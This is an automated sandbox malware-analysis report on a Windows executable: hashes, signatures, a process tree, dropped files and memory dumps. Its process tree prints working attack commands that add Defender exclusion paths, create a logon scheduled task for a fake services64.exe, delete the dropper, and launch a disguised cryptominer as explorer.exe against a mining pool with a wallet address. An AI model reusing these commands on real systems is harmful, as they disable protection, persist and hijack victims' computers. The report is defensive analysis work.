Analysis

  • max time kernel
    3s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    07/01/2024, 04:29

General

  • Target

    48079bdfd2ce51ffadd7926448035f0e.exe

  • Size

    44KB

  • MD5

    48079bdfd2ce51ffadd7926448035f0e

  • SHA1

    25879d9520be8b145bb8610f514d16ac01d599f7

  • SHA256

    66f95a7e9e84707c6e6209272d2605aa4d9444c6bf73d180d1621e5822313cdb

  • SHA512

    e557164067b8326145e19a80e37ada2d83a755eae6409b8eb8fc948546d93296c42814f8a7f6dcc3639940858f656aa7569b2942ebd01dd3ef193a881b099074

  • SSDEEP

    768:d5q0Hy7uQY6hG/h3kptwL6WiVn4V9FvS1sWk9CQIgnY0GF9d5TNqpSh8e:d5qqirGJ3kHxWRI/k8QIgnYjF99b8e

Score
6/10

Malware Config

Signatures

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\48079bdfd2ce51ffadd7926448035f0e.exe
    "C:\Users\Admin\AppData\Local\Temp\48079bdfd2ce51ffadd7926448035f0e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Windows\system32\cmd.exe
      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3016
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        3⤵
          PID:2732
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          3⤵
            PID:2984
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
            3⤵
              PID:2636
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\48079bdfd2ce51ffadd7926448035f0e.exe"
            2⤵
              PID:1104
              • C:\Users\Admin\AppData\Local\Temp\svchost64.exe
                C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\48079bdfd2ce51ffadd7926448035f0e.exe"
                3⤵
                  PID:2616
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
                    4⤵
                      PID:1084
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
                        5⤵
                        • Creates scheduled task(s)
                        PID:2644
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
                      4⤵
                        PID:1784
                        • C:\Windows\system32\choice.exe
                          choice /C Y /N /D Y /T 3
                          5⤵
                            PID:836
                        • C:\Windows\system32\services64.exe
                          "C:\Windows\system32\services64.exe"
                          4⤵
                            PID:2964
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
                              5⤵
                                PID:1068
                                • C:\Users\Admin\AppData\Local\Temp\svchost64.exe
                                  C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
                                  6⤵
                                    PID:1564
                                    • C:\Windows\system32\Microsoft\Libs\sihost64.exe
                                      "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
                                      7⤵
                                        PID:1468
                                        • C:\Windows\system32\services64.exe
                                          "C:\Windows\system32\services64.exe"
                                          8⤵
                                            PID:2608
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
                                              9⤵
                                                PID:308
                                                • C:\Users\Admin\AppData\Local\Temp\svchost64.exe
                                                  C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
                                                  10⤵
                                                    PID:1384
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
                                                      11⤵
                                                        PID:1092
                                                        • C:\Windows\system32\choice.exe
                                                          choice /C Y /N /D Y /T 3
                                                          12⤵
                                                            PID:2560
                                                • C:\Windows\explorer.exe
                                                  C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:5555 --user=44Cs2fkLEkvMpVXCvpS8yUXRYiRiPDwVkUMvbsyaikGc4s3YRbeqn19YjNnKWBXBpcTw5Q83HXzesC6ceRKZQCYoEwEdpsP --pass= --cpu-max-threads-hint=30 --cinit-idle-wait=1 --cinit-idle-cpu=80 --tls --cinit-stealth
                                                  7⤵
                                                    PID:2796
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
                                                    7⤵
                                                      PID:2084
                                                      • C:\Windows\system32\choice.exe
                                                        choice /C Y /N /D Y /T 3
                                                        8⤵
                                                          PID:984
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                            1⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2360
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                            1⤵
                                              PID:1380
                                            • C:\Windows\system32\cmd.exe
                                              "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                              1⤵
                                                PID:472
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                  2⤵
                                                    PID:1364
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                    2⤵
                                                      PID:2080
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                                                      2⤵
                                                        PID:1900
                                                    • C:\Windows\system32\schtasks.exe
                                                      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
                                                      1⤵
                                                      • Creates scheduled task(s)
                                                      PID:2000
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
                                                      1⤵
                                                        PID:2324
                                                      • C:\Windows\system32\cmd.exe
                                                        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                        1⤵
                                                          PID:2520
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                            2⤵
                                                              PID:2420
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                              2⤵
                                                                PID:2140
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                                2⤵
                                                                  PID:2756
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                                                                  2⤵
                                                                    PID:584
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
                                                                  1⤵
                                                                    PID:2364
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
                                                                      2⤵
                                                                      • Creates scheduled task(s)
                                                                      PID:1720

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • C:\Users\Admin\AppData\Local\Temp\svchost64.exe

                                                                    Filesize

                                                                    37KB

                                                                    MD5

                                                                    0d0c610f89741affe2343074a173ffaa

                                                                    SHA1

                                                                    c504f369296f06f5aff3129a80068d7633dc56f7

                                                                    SHA256

                                                                    11cec0d9b156b1ab654315e1a1107a9e44b35b31d7909e8a8fbb8c5945aa4c27

                                                                    SHA512

                                                                    4dfab2bbd6e8b844877aad00e4ce6186ab0da0a42703add184dd2d1391d0330cca0da93aa82398d7344d8066287f047a3f10536aea6de8ced5d730415f6c3e62

                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                    Filesize

                                                                    7KB

                                                                    MD5

                                                                    af8d6fc528e12f421c3e6dc5358fb4f7

                                                                    SHA1

                                                                    b0eb5d99bc5f994dc33e7a61c1f92f5fd34c37cb

                                                                    SHA256

                                                                    10d7efa59d1183c54246c2b007791b06b323334475908c25c42cc16ec3be1f7f

                                                                    SHA512

                                                                    c31520e7e77baf437c6c857b8ea7a70a5c9669b0dd8dc3d4cc9b58dbe08bd1d49b459aad71c247d7a8b24453544ad03099b087caeb06432ebaf806c43d693756

                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                    Filesize

                                                                    7KB

                                                                    MD5

                                                                    1a2e64489602ec55a5358169e3d7cebb

                                                                    SHA1

                                                                    7785a588cce058cdac1152f440ed6969401bcd92

                                                                    SHA256

                                                                    0937c2edcd7760ec8a7cc8e5fff8aa0e486f5d149efb34d297d7006a5edd76e0

                                                                    SHA512

                                                                    655d4aa7e7dc68db085b79474c75364c0ccc2b71772e42e67232771d6badaf4122a3301ebde31900f7dac62ab1ecaafb4dc22f564ad460a54c8dc49c40dc7a2e

                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                    Filesize

                                                                    7KB

                                                                    MD5

                                                                    ce20d61db1cbc4a7f811985ef739bbfb

                                                                    SHA1

                                                                    0b1689fbe8a88e11944cca6d27b2afbdebb5aeea

                                                                    SHA256

                                                                    eb272d7f63c0972c10ecbac5f95a2d2a824b64f60c18b5ca684b3d3391c8c94a

                                                                    SHA512

                                                                    e4e9a4daed68886a8e31b5dbacfd64331bdb67ed8cf868ddb56117c807883fdf414f8766de2408f48b64c6b79806e0950ff1b14f74042715c2c493e726792c3c

                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TQAEERSNTC7YGR4VCXO5.temp

                                                                    Filesize

                                                                    7KB

                                                                    MD5

                                                                    0d7970f0ebb92fa864095972da6ced29

                                                                    SHA1

                                                                    f25da6aeb572dcb47e3274b05f3c23f6cf558eb0

                                                                    SHA256

                                                                    4cf4d340f07fd8d1fc6829a934a3345cdd9c4d9a29dad407507bfd7f587fdd12

                                                                    SHA512

                                                                    526988fe1c830a3cd37f71e2678da589e3232c7aa11c3ee05be276cbb30c770877dd2f74f32c32bc66787b683bb3a374878f946521e9ab149c31e2972f47ee8b

                                                                  • C:\Windows\System32\Microsoft\Libs\sihost64.exe

                                                                    Filesize

                                                                    7KB

                                                                    MD5

                                                                    30b1b1da0627e27ec5dc9a40a877ca31

                                                                    SHA1

                                                                    ab3ff26194185d445eeac0dd0780e14f2dc3432a

                                                                    SHA256

                                                                    96800de36e8ff320c4a7ecc2f2d4bf61b7886dfa7ea450a594ccab2fb41e9399

                                                                    SHA512

                                                                    509af3a9c7fe4fbf61697b747999fda2d8f43f0a4b8f38b6a9a92f8869647a6760c5c937658f90388573274cb606efd64169a041fc5a86c381b87b7959ae7410

                                                                  • C:\Windows\system32\Microsoft\Libs\WR64.sys

                                                                    Filesize

                                                                    14KB

                                                                    MD5

                                                                    0c0195c48b6b8582fa6f6373032118da

                                                                    SHA1

                                                                    d25340ae8e92a6d29f599fef426a2bc1b5217299

                                                                    SHA256

                                                                    11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

                                                                    SHA512

                                                                    ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

                                                                  • C:\Windows\system32\services64.exe

                                                                    Filesize

                                                                    44KB

                                                                    MD5

                                                                    48079bdfd2ce51ffadd7926448035f0e

                                                                    SHA1

                                                                    25879d9520be8b145bb8610f514d16ac01d599f7

                                                                    SHA256

                                                                    66f95a7e9e84707c6e6209272d2605aa4d9444c6bf73d180d1621e5822313cdb

                                                                    SHA512

                                                                    e557164067b8326145e19a80e37ada2d83a755eae6409b8eb8fc948546d93296c42814f8a7f6dcc3639940858f656aa7569b2942ebd01dd3ef193a881b099074

                                                                  • memory/1364-92-0x000007FEF1CD0000-0x000007FEF266D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/1364-91-0x0000000002550000-0x00000000025D0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/1364-90-0x000007FEF1CD0000-0x000007FEF266D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/1364-93-0x0000000002550000-0x00000000025D0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/1364-96-0x000007FEF1CD0000-0x000007FEF266D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/1364-95-0x0000000002550000-0x00000000025D0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/1364-94-0x0000000002550000-0x00000000025D0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/1380-80-0x00000000028E0000-0x0000000002960000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/1380-83-0x00000000028E0000-0x0000000002960000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/1380-82-0x00000000028EB000-0x0000000002952000-memory.dmp

                                                                    Filesize

                                                                    412KB

                                                                  • memory/1380-79-0x000007FEF32C0000-0x000007FEF3C5D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/1380-84-0x000007FEF32C0000-0x000007FEF3C5D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/1380-81-0x000007FEF32C0000-0x000007FEF3C5D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/1900-114-0x000007FEF1CD0000-0x000007FEF266D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2080-105-0x0000000002500000-0x0000000002580000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2080-104-0x000007FEF32C0000-0x000007FEF3C5D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2080-107-0x0000000002500000-0x0000000002580000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2080-103-0x0000000002500000-0x0000000002580000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2080-102-0x000007FEF32C0000-0x000007FEF3C5D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2080-106-0x0000000002500000-0x0000000002580000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2080-108-0x000007FEF32C0000-0x000007FEF3C5D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2228-48-0x000007FEF55B0000-0x000007FEF5F9C000-memory.dmp

                                                                    Filesize

                                                                    9.9MB

                                                                  • memory/2228-1-0x000007FEF55B0000-0x000007FEF5F9C000-memory.dmp

                                                                    Filesize

                                                                    9.9MB

                                                                  • memory/2228-2-0x000000001BC60000-0x000000001BCE0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2228-61-0x000007FEF55B0000-0x000007FEF5F9C000-memory.dmp

                                                                    Filesize

                                                                    9.9MB

                                                                  • memory/2228-0-0x000000013F380000-0x000000013F390000-memory.dmp

                                                                    Filesize

                                                                    64KB

                                                                  • memory/2360-13-0x000007FEF2910000-0x000007FEF32AD000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2360-7-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

                                                                    Filesize

                                                                    2.9MB

                                                                  • memory/2360-8-0x0000000002390000-0x0000000002398000-memory.dmp

                                                                    Filesize

                                                                    32KB

                                                                  • memory/2360-10-0x0000000002770000-0x00000000027F0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2360-9-0x000007FEF2910000-0x000007FEF32AD000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2360-12-0x0000000002770000-0x00000000027F0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2360-11-0x0000000002770000-0x00000000027F0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2360-14-0x000007FEF2910000-0x000007FEF32AD000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2616-62-0x000007FEF55B0000-0x000007FEF5F9C000-memory.dmp

                                                                    Filesize

                                                                    9.9MB

                                                                  • memory/2616-63-0x000000001C000000-0x000000001C080000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2616-73-0x000007FEF55B0000-0x000007FEF5F9C000-memory.dmp

                                                                    Filesize

                                                                    9.9MB

                                                                  • memory/2616-60-0x000000013FF20000-0x000000013FF2E000-memory.dmp

                                                                    Filesize

                                                                    56KB

                                                                  • memory/2636-49-0x0000000002440000-0x00000000024C0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2636-51-0x0000000002440000-0x00000000024C0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2636-53-0x0000000002440000-0x00000000024C0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2636-52-0x0000000002440000-0x00000000024C0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2636-50-0x000007FEF1F70000-0x000007FEF290D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2636-54-0x000007FEF1F70000-0x000007FEF290D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2636-47-0x000007FEF1F70000-0x000007FEF290D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2732-24-0x0000000002680000-0x0000000002700000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2732-28-0x000007FEF1F70000-0x000007FEF290D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2732-20-0x000000001B470000-0x000000001B752000-memory.dmp

                                                                    Filesize

                                                                    2.9MB

                                                                  • memory/2732-23-0x0000000002680000-0x0000000002700000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2732-25-0x0000000002680000-0x0000000002700000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2732-26-0x000007FEF1F70000-0x000007FEF290D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2732-27-0x0000000002680000-0x0000000002700000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2732-22-0x0000000002390000-0x0000000002398000-memory.dmp

                                                                    Filesize

                                                                    32KB

                                                                  • memory/2732-21-0x000007FEF1F70000-0x000007FEF290D000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2796-199-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-220-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-225-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-224-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-223-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-219-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-222-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-221-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-206-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-217-0x0000000000170000-0x0000000000190000-memory.dmp

                                                                    Filesize

                                                                    128KB

                                                                  • memory/2796-200-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-201-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-203-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-202-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-204-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-205-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-207-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-208-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-209-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-210-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-213-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2796-211-0x000007FFFFFD6000-0x000007FFFFFD7000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/2796-216-0x0000000140000000-0x0000000140786000-memory.dmp

                                                                    Filesize

                                                                    7.5MB

                                                                  • memory/2964-71-0x000007FEF55B0000-0x000007FEF5F9C000-memory.dmp

                                                                    Filesize

                                                                    9.9MB

                                                                  • memory/2964-70-0x000000013F2F0000-0x000000013F300000-memory.dmp

                                                                    Filesize

                                                                    64KB

                                                                  • memory/2964-72-0x000000001BC30000-0x000000001BCB0000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2984-36-0x0000000002680000-0x0000000002700000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2984-40-0x000000000268B000-0x00000000026F2000-memory.dmp

                                                                    Filesize

                                                                    412KB

                                                                  • memory/2984-41-0x000007FEF2910000-0x000007FEF32AD000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2984-39-0x0000000002680000-0x0000000002700000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2984-38-0x0000000002680000-0x0000000002700000-memory.dmp

                                                                    Filesize

                                                                    512KB

                                                                  • memory/2984-37-0x000007FEF2910000-0x000007FEF32AD000-memory.dmp

                                                                    Filesize

                                                                    9.6MB

                                                                  • memory/2984-35-0x000007FEF2910000-0x000007FEF32AD000-memory.dmp

                                                                    Filesize

                                                                    9.6MB